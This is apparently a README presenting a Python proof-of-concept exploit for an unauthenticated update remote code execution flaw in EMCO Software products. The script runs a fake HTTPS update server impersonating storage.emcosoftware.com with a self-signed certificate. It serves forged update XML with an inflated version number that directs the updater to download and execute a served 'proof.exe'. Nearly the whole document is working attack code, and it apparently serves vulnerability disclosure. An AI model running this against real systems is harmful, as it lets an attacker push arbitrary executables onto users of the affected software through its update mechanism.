README.md
Rendering markdown...
#!/usr/bin/env python3
# Proof-of-concept script for EMCO Software Multiple Products Unauthenticated Update Remote Code Execution Vulnerability
# See report for details.
#
# Generate self-signed certificate e.g. using:
# > openssl req -new -x509 -keyout storage.emcosoftware.com.pem -out storage.emcosoftware.com.pem -days 365 -nodes -subj "/CN=storage.emcosoftware.com"
#
# Author: Gerr.re
from http.server import BaseHTTPRequestHandler, HTTPServer
import ssl
majorupdate_xml = b'''<ROOT>
<UPDATEENTRY>
<VERSION>0.0.0.0</VERSION>
</UPDATEENTRY>
</ROOT>'''
update_xml = b'''<ROOT>
<UPDATEENTRY>
<VERSION>99.9.9.9999</VERSION>
<CHANGE>
<TYPE>BugFix</TYPE>
<COMMENT>We recommend the updater using TLS/HTTPS for requests and dropping request for which the TLS certificate is untrusted.</COMMENT>
</CHANGE>
<CHANGE>
<TYPE>BugFix</TYPE>
<COMMENT>We recommend checking the signature of the update binary.</COMMENT>
</CHANGE>
</UPDATEENTRY>
<SETUP>/proof.exe</SETUP>
</ROOT>'''
class HTTPHandler(BaseHTTPRequestHandler):
def do_GET(self):
if "proof.exe" in self.path:
self.send_response(200)
self.end_headers()
self.wfile.write(open("proof.exe", "rb").read())
elif "/MajorUpdate" in self.path:
self.send_response(200)
self.end_headers()
self.wfile.write(majorupdate_xml)
elif "/Update" in self.path:
self.send_response(200)
self.end_headers()
self.wfile.write(update_xml)
else:
self.send_response(404)
self.end_headers()
if __name__ == "__main__":
print("Running Server")
try:
httpd = HTTPServer(("0.0.0.0", 443), HTTPHandler)
httpd.socket = ssl.wrap_socket(httpd.socket,
server_side=True,
certfile='storage.emcosoftware.com.pem',
ssl_version=ssl.PROTOCOL_TLS)
httpd.serve_forever()
except KeyboardInterrupt:
httpd.server_close()